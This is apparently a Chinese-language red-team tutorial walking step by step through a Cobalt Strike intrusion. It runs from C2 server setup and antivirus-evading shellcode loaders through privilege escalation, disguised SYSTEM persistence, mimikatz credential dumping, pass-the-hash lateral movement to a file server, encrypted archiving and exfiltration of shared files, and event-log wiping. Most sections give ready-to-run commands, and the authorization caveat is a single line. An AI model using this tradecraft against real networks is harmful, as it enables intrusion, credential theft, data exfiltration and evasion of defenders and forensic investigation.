1. 项目概述一次完整的红队行动模拟最近在内部安全演练和授权渗透测试中我频繁地使用到Cobalt Strike这套工具。很多刚入行的朋友觉得它很神秘网上教程又往往只讲单个功能点缺乏一个从“武器制作”到“战术展开”的连贯视角。今天我就以一个典型的“内网横向移动”场景为例拆解一次完整的行动链条从生成一个难以被察觉的后门到利用它作为跳板最终攻陷一台存有敏感文件模拟为“网络共享”的目标主机。这个过程不仅关乎工具使用更关乎对Windows认证机制、内网拓扑理解和攻击者思维的理解。无论你是安全工程师想了解攻击面还是红队人员希望精进技艺这篇从实战出发的指南都能提供清晰的路径和必须注意的细节。2. 核心思路与攻击链设计一次成功的红队行动绝非随机点击而是有预谋的“战役”。在拿到一个初始立足点可能是一个钓鱼邮件获得的shell或一个Web漏洞后我们的目标往往是内网中更有价值的资产比如文件服务器、数据库或域控。本次模拟的攻击链设计如下载荷生成与投递在Cobalt Strike团队服务器上生成一个适合目标环境的Windows可执行后门Stageless Payload。考虑免杀、持久化和网络隐蔽性。建立初始据点通过某种方式如社工、漏洞利用将后门在目标内网的一台主机我们称为“跳板机”或“工作站A”上执行。成功后会话Session会回连到我们的团队服务器。内网信息侦察以工作站A为视角进行初步的信息收集包括当前用户权限、网络邻接关系、域内主机发现等寻找下一个潜在目标如文件服务器B。凭证窃取与权限提升尝试在工作站A上获取更高权限的凭证例如本地管理员密码哈希或票据为横向移动做准备。横向移动至目标利用获取的凭证通过SMB、WMI或PsExec等方式向文件服务器B进行身份验证并部署后门建立新的会话。目标达成与数据窃取在文件服务器B上定位敏感的网络共享目录进行文件检索、打包和隐蔽外传。这个链条的核心逻辑在于“利用已控制的节点作为跳板去认证和访问下一个节点”。其中凭证是贯穿始终的“通行证”而隐蔽性是确保行动不被安全设备中断的生命线。2.1 为什么选择Cobalt Strike市面上远控工具很多MSF、Empire、C2框架层出不穷。Cobalt Strike在红队行动中备受青睐关键在于其“团队协作”和“战术模拟”的设计理念。它不仅仅是一个木马生成器更是一个完整的指挥控制C2平台。它的Beacon载荷非常稳定通信模式丰富HTTP/HTTPS/DNS/SMB等且内置了强大的“攻击性”模块如提权、凭据窃取、端口扫描、横向移动等无需频繁切换工具。其“视图”和“事件日志”功能能让整个团队清晰看到行动状态这对于复杂的多阶段攻击至关重要。注意Cobalt Strike是一款商业渗透测试软件请在完全合法、获得明确书面授权的环境中使用。任何未经授权的攻击行为都是非法的。3. 环境准备与团队服务器搭建工欲善其事必先利其器。Cobalt Strike的运行依赖于团队服务器Team Server。通常我们会将服务器部署在一台拥有公网IP的VPS上以便接收来自内网的Beacon回连。3.1 服务器端配置假设我们有一台运行Linux如Ubuntu 20.04的VPS。首先需要安装Java运行环境因为团队服务器是一个Java应用。# 更新系统并安装OpenJDK sudo apt update sudo apt install openjdk-11-jdk -y # 验证Java安装 java -version接下来将Cobalt Strike的安装包上传到服务器。解压后我们需要编辑团队服务器的启动脚本。关键步骤是生成一个SSL证书用于加密Cobalt Strike与Beacon之间的通信这也是HTTPS监听器所必需的。# 进入Cobalt Strike目录 cd cobaltstrike # 使用keytool生成证书密码可自定义此处示例为password keytool -keystore ./cobaltstrike.store -storepass password -keypass password -genkey -keyalg RSA -alias cobaltstrike -dname CNYour Domain, OUAdvancedPenTesting, ORedTeam, LWorld, STCyberspace, CEarth # 启动团队服务器 # ./teamserver 服务器IP 连接密码 [配置文件] ./teamserver 你的公网IP地址 mySecretPassword123 /path/to/your/c2-profile这里有几个关键点服务器IP填写你的VPS公网IP。如果Beacon在内网需要确保该IP的相应端口默认50050可被访问。连接密码这是客户端连接团队服务器时使用的密码需要强密码。C2 Profile这是一个可选但极其重要的配置文件。它定义了Beacon的通信行为如HTTP头、URI路径、证书伪装等用于绕过网络流量检测。使用Malleable C2 Profile是高级免杀和隐蔽的必备技能。例如你可以将流量伪装成与Google或Cloudflare的通信。3.2 客户端连接与监听器创建在攻击者的操作机上通常也是Kali Linux或Windows启动Cobalt Strike客户端进行连接。运行./cobaltstrike启动客户端图形界面。点击 “Connect”填入团队服务器IP、端口默认50050和刚才设置的密码。连接成功后第一件事就是创建监听器Listener。监听器是Beacon回连的“电话线”。在Cobalt Strike中点击 “Cobalt Strike” - “Listeners”然后点击 “Add”。Payload选择windows/beacon_http/reverse_http这是最常用的一种基于HTTP反向连接。Name给监听器起个名字如http-80。HTTP Hosts填写你的团队服务器公网IP或域名。HTTP Port (C2)设置回连端口如80或443使用常见端口可以降低可疑性。HTTP Host (Stager)通常与HTTP Hosts一致。创建完成后这个监听器就准备好接收Beacon了。接下来我们需要生成一个能连接到此监听器的后门程序。4. 后门生成与免杀处理生成后门是攻击的起点也是对抗AV杀毒软件的第一道关卡。Cobalt Strike提供了多种生成方式。4.1 生成可执行文件EXE在 “Attack” - “Packages” - “Windows Executable (S)” 中我们可以生成一个Stageless的Payload。Listener选择刚才创建的http-80。Output选择生成32位还是64位。建议同时生成根据目标系统选择。Use x64 payload如果目标系统是64位勾选此项。Add in .NET evasion可以增加一些基础的.NET混淆但效果有限。点击 “Generate”就会生成一个.exe文件。这个文件体积较大因为它包含了完整的Beacon代码不需要再从服务器分阶段下载Stager。但正因如此它被静态查杀的概率也极高。4.2 免杀策略与实践直接生成的原始EXE几乎100%会被现代EDR/AV查杀。因此我们必须进行免杀处理。免杀是一个持续对抗的过程这里介绍几种常见且有效的思路Shellcode加载器Loader这是最主流的方法。我们不直接生成EXE而是生成纯二进制的Shellcode“Attack” - “Packages” - “Payload Generator”。然后用一个自己编写的、行为“干净”的加载器程序通常用C/C/Go/Python编写来在内存中解密并执行这段Shellcode。AV很难将你的加载器与恶意行为关联。实操要点加载器要实现简单的加密解密如XOR、AES避免Shellcode在二进制中明文出现。使用VirtualAlloc、CreateThread等Windows API来执行内存中的代码。利用合法进程/签名将Shellcode注入到诸如explorer.exe,svchost.exe等白名单进程或者注入到带有合法数字签名的进程中。Cobalt Strike的psinject或shinject命令可以在获得Beacon后动态完成。但在初始投递时可以考虑制作一个带有被盗用签名的恶意程序需高度谨慎法律风险高。混淆与加壳使用商业或开源的加壳工具如VMProtect, Themida对生成的EXE进行加壳保护能绕过一部分特征检测。但很多高级壳本身就被安全软件标记。C2 Profile流量伪装如前所述一个精心编制的Malleable C2 Profile可以将Beacon的HTTP请求和响应伪装成正常的浏览器或云服务流量从而绕过网络IDS/IPS的检测。例如模仿Office 365或Azure的流量模式。实操心得静态免杀只是一时之效。在实战中分离加载是王道。我习惯用Go编写一个简单的加载器因为它编译出的单文件exe依赖少且Go语言本身在恶意软件中相对少见检测率较低。将Shellcode进行AES加密后硬编码在加载器中运行时解密并注入到当前进程。这样生成的“载体”文件在VirusTotal上的检测率可以降到个位数甚至零。5. 初始入侵与权限维持假设我们通过鱼叉式钓鱼邮件诱使目标用户运行了我们精心处理过的“免杀”后门程序。很快在Cobalt Strike客户端的 “Beacons” 视图中我们会看到一个新的会话上线显示着目标的内网IP、用户名、计算机名和权限级别。5.1 基础信息收集首先我们需要了解我们立足的这台“工作站A”的基本情况。# 在Beacon命令行中执行 shell whoami /all # 查看当前用户权限和所属组 shell ipconfig /all # 查看网络配置包括IP、网关、DNS shell net user # 查看本地用户 shell net localgroup administrators # 查看本地管理员组 shell net view # 查看当前域或工作组中的计算机如果在内网中通过这些命令我们能判断当前用户是普通用户还是管理员机器是否在域内以及内网的大致网段。5.2 权限提升如果非管理员如果当前只是普通用户权限我们很难进行有效的横向移动。因此提权是必要步骤。Cobalt Strike内置了多种提权模块。本地漏洞利用使用elevate命令。它会自动尝试一些常见的本地提权漏洞如MS14-058、MS16-032等。成功率取决于系统补丁情况。elevate svc-exe [监听器] # 尝试利用服务提权窃取令牌Token如果系统上有其他高权限用户的进程在运行可以使用steal_token命令窃取其令牌瞬间获得该用户的权限。这在有管理员登录的服务器上很常见。UAC绕过对于Windows的UAC用户账户控制可以使用bypassuac模块。它通常需要当前用户在本地管理员组中只是权限被限制。注意事项提权操作可能会触发AV/EDR的敏感行为告警。在高度监控的环境中需要更谨慎地选择时机和方法。例如getsystem命令尝试获取SYSTEM权限是一个非常敏感的操作。5.3 建立持久化为了防止目标重启后失去控制我们需要建立持久化。Cobalt Strike提供了多种方式计划任务schtasks命令可以创建计划任务在系统启动或特定时间执行后门。服务创建sc命令可以创建一个Windows服务来运行后门。注册表启动项reg命令可以修改HKLM\Software\Microsoft\Windows\CurrentVersion\Run等注册表键值。WMI事件订阅这是一种更隐蔽的持久化方式通过WMI过滤器在特定事件如用户登录时触发后门执行。我个人的习惯是使用计划任务因为它相对通用且稳定。命令类似shell schtasks /create /tn WindowsUpdateCheck /tr C:\Users\Public\payload.exe /sc onstart /ru SYSTEM /f这条命令创建了一个名为“WindowsUpdateCheck”的任务在系统启动时以SYSTEM权限执行位于公共目录的后门程序。6. 内网侦察与横向移动准备获得稳定、高权限的据点后真正的内网漫游才开始。目标是找到并拿下文件服务器B。6.1 网络拓扑探测我们需要发现内网存活的主机。Cobalt Strike的portscan命令可以进行ARP或ICMP扫描但动静较大。更隐蔽的方式是使用Beacon的net view或者利用DNS/HTTP等协议进行信息收集。# 使用ARP扫描仅限同一网段 portscan [目标网段如 192.168.1.0/24] arp 1024,3389,445,135 # 扫描常见端口 # 使用内置的侦察工具 arp // 显示ARP缓存表可以发现近期通信过的主机 net dclist // 如果是在域内列出域控制器通常文件服务器会开放445端口SMB和可能的一些共享服务端口。我们可以重点关注那些主机名包含“FILE”、“NAS”、“SHARE”或者IP地址比较“稳定”如 .10, .100的机器。6.2 凭证窃取横向移动的核心是凭证。在Windows环境中我们主要目标是以下几种明文密码通常存在于内存中LSASS进程如果系统启用了WDigest或管理员设置了可逆加密我们可以抓取到。哈希HashNTLM哈希即使密码是强密码哈希也可以用于“哈希传递”Pass-the-Hash, PtH攻击。Kerberos票据在域环境中我们可以窃取票据来进行“票据传递”Pass-the-Ticket, PtT攻击。Cobalt Strike的mimikatz模块是神器。直接在Beacon中输入mimikatz即可进入交互模式或者使用命令mimikatz sekurlsa::logonpasswords # 从内存中提取凭据需要管理员权限 mimikatz lsadump::sam # 从SAM数据库中提取本地账户哈希需要SYSTEM权限如果成功你可能会看到类似以下的输出其中包含用户名、域名和NTLM哈希Authentication Id : 0 ; 123456 (00000000:0001e240) Session : Interactive from 1 User Name : AdminUser Domain : CORP Logon Server : DC01 Logon Time : 2023/10/27 上午 8:00:00 SID : S-1-5-21-... msv : [00000003] Primary * Username : AdminUser * Domain : CORP * NTLM : 329153f560eb329c0e1deea55e88a1e9 * SHA1 : ...记下这个NTLM哈希329153f560eb329c0e1deea55e88a1e9它就是通往其他主机的“万能钥匙”之一。实操心得mimikatz动作很大极易被EDR终端检测与响应软件抓个正着。在高级别防护环境中可以尝试使用更隐蔽的方式如使用Cobalt Strike内置的hashdump命令它通过注入到特定进程来读取哈希或者使用RDP劫持、COM劫持等不直接接触LSASS的方法来获取权限。另外如果抓到了明文密码那当然是最好的可以直接用于各种登录。7. 实施横向移动攻击网络共享服务器现在假设我们通过扫描发现了一台IP为192.168.1.100的主机主机名FILESERVER01开放了445端口。我们窃取到的哈希属于域用户CORP\AdminUser而该用户在文件服务器上很可能有访问权限。7.1 使用哈希传递Pass-the-Hash攻击我们不需要知道明文密码直接用NTLM哈希就可以向目标服务器进行身份验证。Cobalt Strike的psexec、psexec_pshPowerShell版本或winrm模块都支持PtH。这里使用psexec模块在Cobalt Strike界面上选中我们的工作站A的Beacon。点击 “Attack” - “Packages” - “Windows Executable (S)” 生成一个新的后门对应一个新的监听器比如http-81以区分流量。这个后门将部署到文件服务器上。回到Beacon命令行使用psexec命令psexec [目标IP] [用户名] [域名] [NTLM哈希] [要执行的Payload路径] # 示例 psexec 192.168.1.100 AdminUser CORP 329153f560eb329c0e1deea55e88a1e9 \\\\192.168.1.50\\share\\payload.exe这里有一个关键点payload.exe需要放在一个目标服务器能访问到的共享位置。我们可以先用自己的团队服务器开一个SMB共享或者利用已有的内网共享。更简单的方式是使用Cobalt Strike的upload功能结合psexec_psh它可以通过PowerShell从网络下载并执行Payload。实际上更常用的方法是使用内置的jump命令它封装了这些细节jump psexec64 192.168.1.100 CORP\AdminUser [监听器名称]在执行时会提示你输入密码此时直接粘贴NTLM哈希即可。psexec64模块会自动处理Payload的上传通过ADMIN$共享和执行。如果成功几秒钟后我们会在Cobalt Strike中看到一个新的Beacon会话上线其IP地址是192.168.1.100这意味着我们已经成功控制了文件服务器。7.2 替代移动方法除了psexec还有其他横向移动方式适用于不同情况WMIjump winrm64或wmi命令。如果目标开启了WinRMHTTP 5985 / HTTPS 5986可以使用此方法。它比psexec更隐蔽因为不创建服务。SMB Exec利用SMB协议直接创建服务执行命令是psexec的底层原理之一。计划任务通过schtasks命令在远程主机创建任务来执行Payload也非常有效。选择哪种方法取决于目标系统的配置、防火墙规则以及监控强度。通常可以多种方法并行尝试。8. 目标行动定位与窃取共享文件现在我们已经站在了文件服务器BFILESERVER01上。第一步是寻找有价值的共享目录。8.1 发现网络共享# 查看本机共享了哪些文件夹 shell net share # 查看所有磁盘驱动器 shell wmic logicaldisk get caption,description,providername # 如果是在域环境中可以搜索域内共享 shell net view \\FILESERVER01 /all # 查看该服务器上的所有共享资源net share命令的输出可能如下共享名 资源 注解 C$ C:\ 默认共享 D$ D:\ 默认共享 IPC$ 远程 IPC ADMIN$ C:\Windows 远程管理 Finance D:\Shared\Finance 财务部共享 Projects E:\Projects 项目资料我们感兴趣的是非默认共享如Finance和Projects。8.2 浏览与搜索文件进入感兴趣的共享目录进行浏览shell dir \\FILESERVER01\Finance\ shell dir \\FILESERVER01\Projects\如果要搜索特定类型的文件可以使用find或PowerShell命令如果可用# 使用cmd的find命令搜索包含“confidential”的文件名 shell dir \\FILESERVER01\Projects\ /s /b | find /i confidential # 如果PowerShell可用搜索更强大 powershell Get-ChildItem -Path \\FILESERVER01\Projects\ -Recurse -Filter *.pdf | Select-Object FullName8.3 文件打包与外传直接下载大文件或大量文件到团队服务器可能会占用大量带宽并产生异常流量。我们需要一个隐蔽的策略。压缩先在目标服务器上压缩文件。shell C:\Program Files\7-Zip\7z.exe a -tzip D:\temp\project_backup.zip \\FILESERVER01\Projects\* -pStrongPassword123这里使用7-Zip命令行创建加密压缩包。如果服务器没有7-Zip可以上传一个或者使用系统自带的compact或makecab命令但功能较弱。分块传输对于非常大的文件可以分割后再传输。shell split -b 50M D:\temp\project_backup.zip D:\temp\project_part.使用Beacon的下载功能Cobalt Strike的Beacon内置了download命令但它适合中小文件。对于大文件更稳定的方式可能是建立Socks代理然后通过代理用其他工具如curl, wget传输。建立Socks代理这是红队内网渗透的标准操作。在文件服务器的Beacon上执行socks 1080就在团队服务器上开启了一个1080端口的Socks5代理。然后我们可以在攻击者机器上配置浏览器或Proxifier等工具通过这个代理直接访问内网资源就像我们人在内网一样。这样可以直接通过代理用scp或ftp将文件传到我们的中转服务器。隐蔽外传将数据隐藏在正常的协议中如DNS隧道、HTTP/S隧道C2本身就在做。或者选择在目标网络业务流量高峰期进行传输以稀释异常流量特征。9. 痕迹清理与退出策略“事了拂衣去深藏身与名。” 在授权测试结束后清理痕迹是职业操守也是保护自己使用的方法不被蓝队完全掌握。9.1 清理持久化项目删除我们创建的计划任务、服务或注册表键值。shell schtasks /delete /tn WindowsUpdateCheck /f shell sc delete MyBackdoorService # 如果创建了服务9.2 清理日志Windows事件日志是蓝队溯源的关键。需要清理安全日志、系统日志和应用日志中与我们操作相关的条目。这需要SYSTEM权限。# 使用内置命令清除事件日志较明显 shell wevtutil cl Security shell wevtutil cl System shell wevtutil cl Application # 更精细的做法是使用mimikatz或自定义工具只删除特定事件ID的日志但这更复杂。注意直接清空整个日志文件是非常可疑的行为在高度监控的环境中可能触发告警。理想情况是在执行每一步操作时就考虑如何避免产生日志或者伪造日志。9.3 删除上传的工具和Payload删除我们上传到目标机器上的所有文件。shell del /f /q C:\Users\Public\payload.exe shell del /f /q D:\temp\project_backup.zip shell rmdir /s /q D:\temp\7z9.4 退出会话最后在Cobalt Strike中可以优雅地退出Beacon会话。exitBeacon会尝试自我清理进程然后退出。但更彻底的做法是在清理完痕迹后直接结束承载Beacon的进程如kill命令或者重启目标机器如果条件允许且不会造成业务影响。10. 常见问题与排查技巧实录在实际操作中你一定会遇到各种问题。下面是我踩过的一些坑和解决方法。10.1 Beacon无法上线问题Payload执行了但Cobalt Strike客户端看不到Beacon上线。排查网络连通性首先检查团队服务器的防火墙是否放行了监听端口如80、443、50050。在目标内网尝试用telnet [团队服务器IP] [端口]或Test-NetConnection(PowerShell) 测试连通性。监听器配置检查监听器的“HTTP Hosts”地址是否正确是否使用了域名且解析无误。如果用了CDN或反向代理配置可能更复杂。Payload类型确认生成的Payload类型Staged vs Stageless与监听器匹配。Staged需要windows/beacon_http/reverse_http而Stageless对应windows/beacon_reverse_http。用错了就不会回连。杀软拦截Payload可能被运行时检测动态查杀掉了。查看目标系统的事件查看器或杀软日志。尝试更强的免杀或使用其他执行方式如PowerShell、VBA、脚本等。C2 Profile冲突如果使用了Malleable C2 Profile检查其语法是否正确特别是http-get和http-post块中的uri配置一个错误的配置会导致服务器无法正确响应Beacon的请求。10.2 横向移动失败问题使用psexec或wmi跳板时失败提示“拒绝访问”、“网络路径未找到”或“RPC服务不可用”。排查防火墙目标服务器的防火墙可能阻止了445SMB、135WMI或5985WinRM端口。使用portscan确认端口开放状态。用户权限确认你使用的凭证用户名/哈希在目标机器上是否有管理员权限。域用户需要是目标机器的本地管理员或域管理员组成员。UAC远程限制即使你是管理员从网络远程登录可能受UAC远程限制影响。可以尝试修改注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System下的LocalAccountTokenFilterPolicy值为1需目标机器权限但这会留下明显痕迹。SMB签名如果目标服务器强制要求SMB签名而你的攻击流量未签名也会失败。在域环境中域控制器默认要求签名。凭证错误确保哈希或密码正确。NTLM哈希是32位十六进制字符串。注意用户名和域名的格式DOMAIN\User或UserDOMAIN。10.3 Mimikatz运行失败或抓不到密码问题运行mimikatz命令报错或者抓取sekurlsa::logonpasswords时结果为空。排查权限不足sekurlsa需要DEBUG权限通常是管理员。确保Beacon是以管理员或SYSTEM权限运行的。可以先用getuid命令查看。受保护进程LSASS进程可能被EDR通过“受保护进程”Protected Process Light, PPL机制保护。常规的mimikatz无法读取。需要先利用漏洞如CVE-2021-36934或驱动来解除保护这非常复杂且风险高。内存中无明文从Windows 8.1/Server 2012 R2开始默认内存中不存储明文密码。需要启用WDigest或设置注册表键值UseLogonCredential为1并等待用户重新登录。或者转向抓取哈希和票据它们几乎总是存在的。被EDR钩住Hookedmimikatz使用的API可能被EDR的钩子监控和阻断。可以尝试使用未公开的APIDirect System Calls或使用其他工具如Cobalt Strike内置的hashdump它使用不同的内存读取技术。10.4 流量被检测问题行动被蓝队通过流量分析发现。缓解使用HTTPS监听器始终优先使用443端口的HTTPS监听器并配置有效的、看起来正常的SSL证书如Let‘s Encrypt签发的证书。精心设计C2 Profile这是对抗流量检测最有效的手段。将Beacon的请求头、User-Agent、URI路径、响应数据格式等伪装成目标内网常见的合法流量如微软更新、防病毒更新、云服务API请求等。降低心跳频率在Beacon配置中增加sleep时间如60000毫秒和jitter抖动百分比让Beacon的回连行为看起来不像自动化攻击那么有规律。使用域名前置Domain Fronting或CDN将流量隐藏在合法的云服务如Azure、Cloudflare后面使实际C2服务器IP不暴露在流量中。分段传输对于数据外传使用慢速、小包、分时段的方式混入正常业务流量中。红队行动是一场猫鼠游戏没有一劳永逸的方法。核心在于深度理解原理、灵活组合工具、保持操作隐蔽并时刻准备着根据防守方的反应调整战术。每一次成功的演练都是对自身技能和耐心的一次锤炼。